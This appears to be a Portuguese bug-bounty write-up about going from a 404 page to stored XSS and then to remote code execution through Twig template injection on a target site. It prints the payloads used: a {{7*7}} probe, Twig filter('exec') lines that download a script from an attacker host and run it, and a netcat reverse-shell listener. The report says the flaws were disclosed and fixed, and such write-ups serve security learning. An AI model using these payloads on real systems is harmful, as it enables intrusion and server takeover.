De um 404 ao RCE via SSTI e Stored XSS

Este relatório detalha a metodologia de descoberta e exploração de duas vulnerabilidades críticas no host https://site.target.com. O processo demonstra como a análise minuciosa de arquivos estáticos e superfícies de entrada pode levar ao comprometimento total da infraestrutura.

Reconhecimento e Descoberta de Endpoints

Ao acessar o host alvo inicialmente, o servidor retornou um erro 404 Not Found. Sem uma interface visível, o próximo passo foi realizar a extração de endpoints a partir dos arquivos JavaScript carregados no DOM.

Utilizando um bookmarklet customizado para mapear rotas estáticas, identifiquei o seguinte diretório base: /mtt/public/acc/teste/s/

A análise foi aprofundada via Chrome DevTools para entender como esse diretório se comportava. A persistência do caminho foi confirmada e, ao acessá-lo diretamente pelo navegador, a página funcional foi finalmente revelada.

Exploração de Stored XSS via Upload

Durante a análise do código-fonte dessa página, isolei uma função de upload de recursos.

Uma tentativa inicial de enviar arquivos diretamente para o endpoint global (/base/uploadResource) falhou com erro do servidor. Entretanto, aplicando a estrutura de diretórios mapeada anteriormente, a requisição foi reestruturada:

POST https://site.target.com/mtt/public/acc/teste/s/base/uploadResource

O servidor aceitou o upload. Embora houvesse um filtro básico que impedia scripts server-side (como .php), o sistema gerava uma rota dinâmica para renderizar o conteúdo enviado.

A hipótese era simples: se o servidor entregasse um documento HTML completo sem sanitização, teríamos um Stored XSS. Ao realizar o upload de um arquivo .txt contendo tags HTML e scripts maliciosos, o link gerado pelo sistema confirmou a execução de código no contexto do cliente.

RCE via Server-Side Template Injection (SSTI)

Para expandir o ataque, utilizei técnicas de Google Dorking para encontrar outras superfícies indexadas. A busca site:site.target.com retornou uma URL de credenciamento:

https://site.target.com/media/17****/accreditation?lang=de/

A página indicava que as inscrições estavam encerradas, mas a análise do código-fonte e buscas cruzadas no DevTools revelaram uma rota alternativa de registro ainda ativa: /accreditation/:event_id/register

Reconstruindo a URL com o ID identificado anteriormente, acessei um formulário de cadastro funcional.

Detecção e Confirmação do Motor

Para validar a presença de injeção de templates, inseri o payload {{7*7}} no campo de nome. O sistema processou o cadastro e a resposta (ou e-mail de confirmação) renderizou o valor 49. O comportamento confirmou a vulnerabilidade de SSTI, utilizando o motor de templates Twig (PHP).

Escalada para Execução de Comandos (RCE)

A exploração progrediu utilizando o filtro filter('exec') do Twig. O primeiro teste validou a execução do comando id com exfiltração via curl para o meu servidor de monitoramento.

Com a execução confirmada, o objetivo final era obter uma Shell Reversa. Hospedei um script Bash em um servidor Python local e automatizei o processo em três etapas através do campo vulnerável:

Download: {{ ['curl http://[ATACANTE_IP]/xx.sh -o /tmp/xxx.sh']|filter('exec') }}
Permissão: {{ ['chmod +x /tmp/xxx.sh']|filter('exec') }}
Execução: {{ ['bash /tmp/xxx.sh']|filter('exec') }}

Após configurar o listener com Netcat (nc -vnlp 4445), a conexão foi recebida, garantindo acesso completo ao servidor.

Conclusão

Este caso demonstra que a segurança baseada em obscuridade (status 404 ou rotas ocultas) não é eficaz contra uma análise técnica persistente. A combinação de extração de endpoints de arquivos JS, busca indexada e a exploração de filtros mal configurados em motores de template permitiu o comprometimento total do host. As falhas foram devidamente reportadas e corrigidas.

Recompensa

Como bônus pela divulgação responsável, a Red Bull enviou uma "bounty" bem temática: várias caixas de Red Bull direto na minha porta.